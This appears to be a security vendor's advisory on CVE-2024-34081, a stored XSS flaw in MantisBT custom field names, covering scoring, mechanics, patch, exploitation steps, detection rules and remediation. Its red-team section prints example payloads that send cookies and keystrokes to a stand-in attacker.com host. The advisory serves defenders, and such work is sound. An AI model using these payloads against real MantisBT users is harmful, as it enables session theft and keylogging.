CVE-2024-34081

Executive Summary

CVE-2024-34081 is a stored Cross-Site Scripting (XSS) vulnerability in MantisBT, an open-source issue tracker. The flaw arises from improper escaping of custom field names, allowing an attacker with project management privileges to inject arbitrary HTML and, if Content Security Policy (CSP) settings permit, execute JavaScript. The vulnerability is triggered when users resolve or close issues, view issue lists, or print issues where the malicious custom field is displayed as a column. The CVSS score is 6.6 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. The vendor has released a patch in version 2.26.2.

Supply Chain & Package Security

MantisBT is a PHP-based application distributed via GitHub and its official website. The vulnerability does not directly affect package managers like NPM, PyPI, Go, or Ruby. However, organizations using MantisBT as part of their development pipeline should verify the integrity of their installation and apply the patch promptly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.6 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs project management access to create or modify custom fields.
• User Interaction: Required (UI:R) – victim must view a page displaying the malicious custom field.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access with project management privileges, but the impact can include session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability exists in the way MantisBT handles custom field names when rendering pages. Custom fields are user-defined fields added to projects. The names of these fields are not properly escaped before being displayed in several contexts:

1. bug_change_status_page.php – When resolving or closing an issue, the custom field name is displayed.
2. view_all_bug_page.php – When viewing a list of issues, if the custom field is selected as a column.
3. print_all_bug_page.php – When printing a list of issues, if the custom field is selected as a column.

An attacker with project management privileges can create a custom field with a name containing malicious HTML/JavaScript, such as <img src=x onerror=alert(1)>. When a user (including administrators) views the affected page, the script executes in their browser context.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The patch in version 2.26.2 escapes the custom field name using htmlspecialchars() or equivalent before output.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.26.2):

// In bug_change_status_page.php, view_all_bug_page.php, print_all_bug_page.php
echo $custom_field_name; // Direct output without escaping

Patched Code (2.26.2+):

// In bug_change_status_page.php, view_all_bug_page.php, print_all_bug_page.php
echo htmlspecialchars($custom_field_name, ENT_QUOTES, 'UTF-8'); // Proper escaping

The patch ensures that any HTML tags in the custom field name are rendered as text, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a MantisBT instance with project management privileges.
• Ability to create or modify custom fields.

Exploitation Steps:

1. Log in to MantisBT as a user with project management rights.
2. Navigate to Manage > Manage Custom Fields.
3. Create a new custom field with a name containing a malicious payload, e.g.:

   <img src=x onerror=alert('XSS')>
   

4. Assign the custom field to a project.
5. Ensure the custom field is displayed as a column in the issue list (via Manage > Manage Configuration > Columns).
6. Wait for a user (e.g., an administrator) to view the issue list (view_all_bug_page.php), resolve/close an issue (bug_change_status_page.php), or print the list (print_all_bug_page.php).
7. The payload executes in the victim's browser.

Example Payloads:

• Cookie theft: <img src=x onerror=document.location='http://attacker.com/steal.php?c='+document.cookie>
• Keylogging: <script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.key}</script>

Blue Team

Detection:

• Monitor for custom field names containing HTML tags (e.g., <, >, onerror, onload).
• Review audit logs for creation/modification of custom fields by non-admin users.
• Use WAF rules to block requests with suspicious custom field names.

Hunting:

• Query database for custom fields with names matching regex: /<[^>]+>/i
• Check web server logs for requests to bug_change_status_page.php, view_all_bug_page.php, or print_all_bug_page.php with unusual parameters.

Lab Setup:

• Install MantisBT 2.26.1 or earlier in a sandboxed environment.
• Create a test project and custom field with XSS payload.
• Simulate user actions to trigger the vulnerability.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests containing HTML tags in custom field names (e.g., custom_field_name=<img src=x onerror=...>).
  • Outbound connections to attacker-controlled domains from MantisBT server.

• Host:

  • Custom field names in the mantis_custom_field_table containing < or > characters.
  • Unusual entries in web server logs (e.g., view_all_bug_page.php with custom_field_id parameters).

• File:

  • Modified MantisBT source files (e.g., bug_change_status_page.php) with backdoors.

Detection Engineering

YARA Rule

rule CVE_2024_34081_MantisBT_XSS {
    meta:
        description = "Detects MantisBT custom field names containing HTML tags indicative of CVE-2024-34081 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-34081"
    strings:
        $html_tag = /<[^>]+>/
        $custom_field = /custom_field_name/i
    condition:
        $html_tag and $custom_field
}

Sigma Rule

title: CVE-2024-34081 MantisBT Custom Field XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with HTML tags in custom field names targeting MantisBT
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'custom_field_name='
        cs-uri-query|re: '<[^>]+>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in custom field names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34081 MantisBT Custom Field XSS Attempt"; flow:to_server,established; content:"custom_field_name"; http_uri; pcre:"/<[^>]+>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MantisBT to version 2.26.2 or later.
2. If upgrade is not possible, ensure custom field names do not contain HTML tags (workaround).
3. Review and sanitize existing custom field names in the database.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact (e.g., script-src 'self').
• Restrict project management privileges to trusted users only.
• Regularly audit custom field definitions.
• Enable Web Application Firewall (WAF) rules to block XSS payloads.

Patch Verification:

• After upgrade, verify that htmlspecialchars() is used in the affected files:
  • bug_change_status_page.php
  • view_all_bug_page.php
  • print_all_bug_page.php

Valters IT
Securing Digital Frontiers